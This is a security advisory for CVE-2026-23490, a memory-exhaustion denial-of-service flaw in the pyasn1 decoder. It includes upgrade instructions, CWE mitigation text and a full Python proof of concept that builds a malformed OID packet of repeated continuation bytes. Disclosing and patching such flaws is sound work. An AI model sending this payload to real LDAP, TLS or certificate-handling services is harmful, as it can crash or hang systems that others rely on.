GHSA-63vm-454h-vhhq CVE-2026-23490 PYSEC-2026-1810
pyasn1 has a DoS vulnerability in decoder
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.76%
- Chance of exploitation in the next 30 days. Higher than 55.29% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
0.6.2- Upgrade pyasn1 to this version or later
Description
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
<img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect:
- LDAP servers
- TLS/SSL endpoints
- OCSP responders
- etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Affected versions
PyPI
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pyasn1 PyPI → 0.6.2
- pip
pip install --upgrade "pyasn1>=0.6.2"- poetry
poetry add "pyasn1>=0.6.2"- uv
uv add "pyasn1>=0.6.2"
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Fixes and patches
Other links
- github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/c…
- github.com/pyasn1/pyasn1/releases/tag/v0.6.2
- lists.debian.org/debian-lts-announce/2026/02/msg00002.html
- access.redhat.com/errata/RHSA-2026:4148
- access.redhat.com/errata/RHSA-2026:4147
- access.redhat.com/errata/RHSA-2026:4146
- access.redhat.com/errata/RHSA-2026:4145
- access.redhat.com/errata/RHSA-2026:4144
- access.redhat.com/errata/RHSA-2026:4143
- access.redhat.com/errata/RHSA-2026:4142
- access.redhat.com/errata/RHSA-2026:4141
- access.redhat.com/errata/RHSA-2026:4140
- access.redhat.com/errata/RHSA-2026:4139
- access.redhat.com/errata/RHSA-2026:4138
- access.redhat.com/errata/RHSA-2026:39894
- access.redhat.com/errata/RHSA-2026:3959
- access.redhat.com/errata/RHSA-2026:3958
- access.redhat.com/errata/RHSA-2026:37275
- access.redhat.com/errata/RHSA-2026:41928
- access.redhat.com/errata/RHSA-2026:42644
- access.redhat.com/errata/RHSA-2026:4943
- access.redhat.com/errata/RHSA-2026:5606
- access.redhat.com/security/cve/CVE-2026-23490
- bugzilla.redhat.com/show_bug.cgi
- github.com/pyasn1/pyasn1
- github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml
- pypi.org/project/pyasn1
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json
- access.redhat.com/errata/RHSA-2026:3359
- access.redhat.com/errata/RHSA-2026:2300
- access.redhat.com/errata/RHSA-2026:2299
- access.redhat.com/errata/RHSA-2026:2221
- access.redhat.com/errata/RHSA-2026:19712
- access.redhat.com/errata/RHSA-2026:1906
- access.redhat.com/errata/RHSA-2026:1905
- access.redhat.com/errata/RHSA-2026:1904
- access.redhat.com/errata/RHSA-2026:1903
- access.redhat.com/errata/RHSA-2026:17611
- access.redhat.com/errata/RHSA-2026:17595
- access.redhat.com/errata/RHSA-2026:17446
- access.redhat.com/errata/RHSA-2026:14020
- access.redhat.com/errata/RHSA-2026:13553
- access.redhat.com/errata/RHSA-2026:13545
- access.redhat.com/errata/RHSA-2026:13512
- access.redhat.com/errata/RHSA-2026:13508
- access.redhat.com/errata/RHSA-2026:3354
- access.redhat.com/errata/RHSA-2026:30088
- access.redhat.com/errata/RHSA-2026:28042
- access.redhat.com/errata/RHSA-2026:2758
- access.redhat.com/errata/RHSA-2026:2712
- access.redhat.com/errata/RHSA-2026:24977
- access.redhat.com/errata/RHSA-2026:24866
- access.redhat.com/errata/RHSA-2026:2486
- access.redhat.com/errata/RHSA-2026:2483
- access.redhat.com/errata/RHSA-2026:2460
- access.redhat.com/errata/RHSA-2026:2453
- access.redhat.com/errata/RHSA-2026:24483
- access.redhat.com/errata/RHSA-2026:24476
- access.redhat.com/errata/RHSA-2026:2309
- access.redhat.com/errata/RHSA-2026:2303
- access.redhat.com/errata/RHSA-2026:2302
- access.redhat.com/errata/RHSA-2026:54757
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-2qm8-x737-gmw5 pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding | High | Also affects pyasn1 |
| GHSA-mm57-4v3p-rchx pyasn1 has quadratic-complexity denial of service in binary REAL decoding | High | Also affects pyasn1 |
| GHSA-9m75-vc3g-4x39 pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding | High | Also affects pyasn1 |
| GHSA-fm9c-5rcf-2q5p pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding | High | Also affects pyasn1 |
| GHSA-hm4w-wwcw-mr6r pyasn1: Uncontrolled resource consumption when converting decoded REAL values | High | Also affects pyasn1 |
| GHSA-8ppf-4f7h-5ppj pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service | High | Also affects pyasn1 |
| GHSA-m4p7-r5rc-7g4j pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs | High | Also affects pyasn1 |
| GHSA-jr27-m4p2-rc6r Denial of Service in pyasn1 via Unbounded Recursion | High | Also affects pyasn1 |
Credits: tsigouris007
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor